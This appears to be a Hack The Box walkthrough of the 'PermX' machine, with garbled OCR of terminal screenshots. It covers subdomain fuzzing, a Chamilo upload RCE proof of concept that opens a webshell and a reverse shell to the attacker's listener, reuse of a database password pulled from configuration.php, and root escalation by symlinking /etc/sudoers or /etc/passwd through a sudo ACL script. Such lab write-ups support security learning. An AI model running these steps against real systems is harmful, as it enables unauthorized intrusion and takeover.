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Setup:
HTB machines often redirect or have multiple domains served on a single server.  Making local DNS entries is good practice.
echo "10.10.11.23 permx.htb" | sudo tee -a /etc/hosts

Port/Service Enumeration
Starting off with an Nmap scan of the target provides insight into open ports and services running on the machine.
ports=$(nmap -p- --min-rate=1000 -T4 permx.htb | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports permx.htb
nikto -h permx.htb

Web site Enumeration
Now what?  Most HTB machine are running HTTP and SSH with versions that are not directly exploitable.  So we need to dig into the web site.
Things we can run in the background while we analyze the web page.
Any unlinked resources available?
dirb http://permx.htb /usr/share/dirb/wordlists/common.txt

Download the page for local analysis
curl http://permx.htb -o permx.html

Does the web page link anywhere?
grep -oP 'href[\s=\s]*[^\"'\'']*["'\''][^\"'\''#]+[\"'\'']' permx.html

Any interesting HTML comments?
sed ':a;N;$!ba;s/\n/ /g'  permx.html | sed 's/-->/-->\n/g' | grep -o '<!--.*-->'

Going through the app we can tell it’s a static website.
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To expand our knowledge of the system, let's scan for additional subdomains beyond the identified ones.
sudo apt-get install ffuf
ffuf -H "Host:FUZZ.permx.htb" -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt  -u "http://permx.htb" -fw 18 
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Enumerate the lms subdomain.
echo "10.10.11.23 lms.permx.htb" | sudo tee -a /etc/hosts
nikto -h lms.permx.htb

Yields robot.txt and “forbidden” directories.  We should look at everything.
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http://lms.permx.htb/documentation/ leads us chamilo.
Google search for “chamilo 1.11 exploit” returns a nice RCE.
https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
Read the code, to validate fit, and clone.
The code requires a callback.  So, in a separate terminal window by starting a listener
nc -lnvp 1234

We will need our local address
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git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc.git
cd chamilo-lms-unauthenticated-big-upload-rce-poc/

Validate the site is vulnerable.
python3 main.py -u http://lms.permx.htb/ -a scan
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Optional enable interaction via the web
python3 main.py -u http://lms.permx.htb -a webshell

python3 main.py -u http://lms.permx.htb -a revshell
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In the listener validate who we are,pwd, etc.
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Find the chamilo install directory
find / -name chamilo 2>/dev/null
cd /var/www/chamilo

Find the configuration file location
find . -name configuration.php
cd app/config

Password reuse maybe!?
grep password configuration.php
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password = 03F6lY3uXAP2bkW8
Look in /home or /etc/passwd for user name ideas
SSH to Permx
ssh mtz@permx.htb

-------USER FLAG CAPTURE------
mtz@permx:~$ sudo -l
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Note: PermX’s configuration cleans up the user’s home directory every couple of minutes.  So, move fast!
Option 1: escalate by adding to /etc/sudoers 
ln -s /etc/sudoers ./attack
sudo /opt/acl.sh mtz rw /home/mtz/attack
echo 'mtz ALL=(ALL:ALL) ALL'  >> ./attack
sudo su
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Option 2: escalate by adding a new root user
ln -s /etc/passwd ./attack
sudo /opt/acl.sh mtz rw /home/mtz/attack
echo root3::0:0:root3:/root:/bin/bash >> ./attack
su root3
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-------ROOT FLAG CAPTURE------

Submission
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l—_[ljser@parrot 1-0~1
$sudo ifconfig tuno
tun@: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500

inet 10.10.16.48 netmask 255.255.254.0 destination 10.10.16.48
3f98:84e7:3d53:4348 prefixlen 64 scopeid @x20<link>
:beef:4::102e prefixlen 64 scopeid @x@<global>

unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500
(UNSPEC)

RX packets 14144 bytes 10809360 (10.3 MiB.

RX errors @ dropped @ overruns @ frame @

TX packets 12019 bytes 2739137 (2.6 MiB

TX errors @ dropped @ overruns @ carrier @ collisions @

[user@parrot]—[~]
s
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[+] Target is likely vulnerable. Go ahead. [+]
user@parrot]-[~/chamilo-1ms-unauthenticated-big-upload-rce-poc

s
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Enter the name of the webshell file that will be placed on the target server (default: webshell.php):
Enter the name of the bash revshell file that will be placed on the target server (default: revshell.sh):
Enter the host the target server will connect to when the revshell is run: 10.10.16.48

"Enter the port on the host the target server will connect to when the revshell is run: 1234'
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l—_[ljser@parrot]— ~1

$nc -1lnvp 1234

Listening on 0.0.0.0 1234

Connection received on 10.10.11.23 53660
bash: cannot set terminal process group (1189): Inapproprif
ate ioctl for device

bash: no job control in this shell
www -data@pexmx: /var/www/chamilo/main/inc/1ib/javascript/bil
gupload/files$ id
id

uid=33 (www-data) gid=33(www-data) groups=33(www-data)
www -data@pexmx: /var/www/chamilo/main/inc/1ib/javascript/bi]
gupload/files$ pwd
pwd
/var/www/chamilo/main/inc/1ib/javascript/bigupload/files
www -data@pexmx: /var/www/chamilo/main/inc/1ib/javascript/bi]
gupload/files$ 1s /home
<o/main/inc/1ib/javascript/bigupload/files$ 1s /home

[+] Execution completed [+]

You should already have a revserse connection by now
—[user@parrot]—[~/chamilo-1ms-unauthenticated-big-upload-rce-

poc]

—4]

mtz

www -data@pexmx : /var/www/chamilo/main/inc/1ib/javascript/bi]
gupload/filess |
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TH</app/config$ grep password configuration.php | more
3. conflguratmn[ db_password" ] = '@3F61Y3uXAP2bkW8" ;
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mtz@permx:~$ sudo -1
ﬂMatching Defaults entries for mtz on permx:
env_reset, mail_badpass,
;] secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/shin\:/uj
sx/bin\:/sbin\:/bin\:/snap/bin,

= use_pty

User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
mtzepermx:~$ |
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Last login: Sat Oct 19 10:53:49 2024 from 10.10.16.21
mtz@permx:~$ sudo -1
Matching Defaults entries for mtz on permx
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usx/local/bin\:/usx/sbin\:/
usr/bin\:/sbin\:/bin\:/snap/bin,

use_pty

User mtz may run the following commands on permx
(ALL : ALL) NOPASSWD: /opt/acl.sh

mtz@permx:~$ cat /opt/acl.sh

#!/bin/bash

if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $@ user perm file"
exit 1

fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target” == *..* ]]; then
/ust/bin/echo "Access denied."
exit 1

fi

# Check if the path is a file

if [ | -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1

fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target”
mtzepexmx:~$ ||
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mtz@permx:~$ 1n -s /etc/sudoers ./attack
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/attack
mtz@permx:~$ echo 'mtz ALL=(ALL:ALL) ALL' >> ./attack
mtz@permx:~$ sudo su

root@permx: /home/mtz# @3F61Y3uXAP2bkWg
03F61Y3uXAP2bki8: command not found

root@permx: /home/mtz# id

uid=0(root) gid=0(root) groups=@(root)

root@permx: /home/mtz# 1s /root

backup Treset.sh root.txt

root@permx: /home/mtz# |
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mtz@permx:~$ 1In -s /etc/passwd ./attack

nmtz@pemx ~$ sudo /opt/acl.sh mtz rw /home/mtz/attack
mtz@permx:~$ echo root3::0:0:ro0t3:/root:/bin/bash >> ./attack|
@ntz@permx:~$ su root3

Toot@permx: /home/mtz# 1s
Sattack user.txt
Toot@permx: /home/mtz# cd /root
Toot@permx:~# 1s
dbackup Teset.sh root.txt
Toot@permx: ~# I
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Target IP Address

[m]
10.10.11.23
~ Submit User Flag
‘ Submit flag difficulty rating v H Submit Rating
~ Submit Root Flag
‘ Submit flag difficulty rating v H

Congratulations billiardyoda!

PermX
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os RELEASE DATE DIFFICULTY POINTS
Linux 06 Jul 2024 Easy 20
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[user@parrot]—[~/it666-share/Labs/stride]

$ffuf -H "Host:FUZZ.permx.htb" -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u "http://permx.ht
b" -fw 18
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v2.1.0-dev

Method © GET

URL : http://permx.htb

Wordlist : FUZZ: /usx/share/wordlists/dirbuster/directory-list-2.3-small.txt

Header : Host: FUZZ.permx.htb

Follow redirects : false

Calibration : false

Timeout 110

Threads 1 40

Matcher : Response status: 200-299,301,302,307,401,403,405,500
i1 Filter : Response words: 18

[Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 12ms]
[Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 16ms]
[Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 59ms]
[Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 12ms]
: Progress: [87664/87664] :: Job [1/1] 3703 req/sec :: Duration: [0:00:26] :: Errors: @ :
l—_[ljser@panot]— [~/it666-share/Labs/stride]
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xobots. txt

This file is to prevent the crawling and indexing of certain parts
of your site by web crawlers and spiders Tun by sites like Yahoo!
and Google. By telling these "robots" where not to go on your site,
you save bandwidth and server resources.

For more information about the robots.txt standard, see:
http: / /www. Tobotstxt .org/we/ Tobots. htnl

For syntax checking, see:
http: //www. sxw.0Tg. uk/ computing/ obots/ check. html

R R R BB R R R BB

User-Agent: *
# Directories

Disallow: /app/
Disallow: /bin/
Disallow: /documentation/
Disallow: /home/
Disallow: /main/
Disallow: /plugin/
Disallow: /tests/
Disallow: /vendor/

# Files
Disallow: /license.txt

Disallow: /README. txt

Disallow: /whoisonline.php
Disallow: /whoisonlinesession.php





